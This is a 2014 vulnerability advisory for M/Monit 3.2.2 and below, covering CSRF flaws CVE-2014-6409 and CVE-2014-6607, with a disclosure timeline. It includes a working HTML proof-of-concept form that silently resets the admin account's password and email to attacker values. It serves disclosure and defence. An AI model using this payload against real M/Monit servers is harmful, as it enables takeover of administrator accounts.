M/Monit versions 3.2.2 and below suffer from multiple cross site request forgery vulnerabilities.
560d50f9addae35f05fedbf10890391928e6f7c978e7366d56a5768cce8b88baApplication: M/Monit 3.2.2
Author: Dolev Farhi @dolevff
Date: 13.9.2014
Relevant CVEs: CVE-2014-6409, CVE-2014-6607
Vulnerable version: <= 3.2.2
M/Monit is an Easy, proactive monitoring of Unix systems, network and
cloud services.
1. Vulnerability Description:
Account hijack via cross-site request forgery (CVE-2014-6409,
CVE-2014-6607)
It was found that M/Monit latest version is vulnerable to CSRF attacks.
it is possible to reset the password of any user account (admin/user)
on the system without needing to know the current password of the
attacked account, due to missing password change verification mechanism.
2. Proof of concept
<html> <div align="center"> <pre> <h2> CSRF poc M/monit </h2> <body>
<form action="http://mmonit_server:8080/admin/users/update"
method="POST"> <input type="hidden" name="fullname"
value="Administrator" /> <input type="hidden" name="password"
value="attacker_pass" /> <input type="hidden" name="email"
value="attacker@email.com" /> <input type="hidden" name="admin"
value="on" /> <input type="hidden" name="uname" value="admin" /> <input
type="submit" name="submit" value="submit" /> </form> </body> </div>
</html>
3. Mitigation
Software vendor confirmed the issue, and a fix might be released in the
future.
4. Time line:
15.9 - Found vulnerabilities
15.9 - Notified software vendor
15.9 - CVE Requested
17.9 - CVEs Assigned
18.9 - Vendor confirmed security issues,
release will be released in the future
19.9 - public disclosure
- Discovered by Dolev Farhi, F5 Networks
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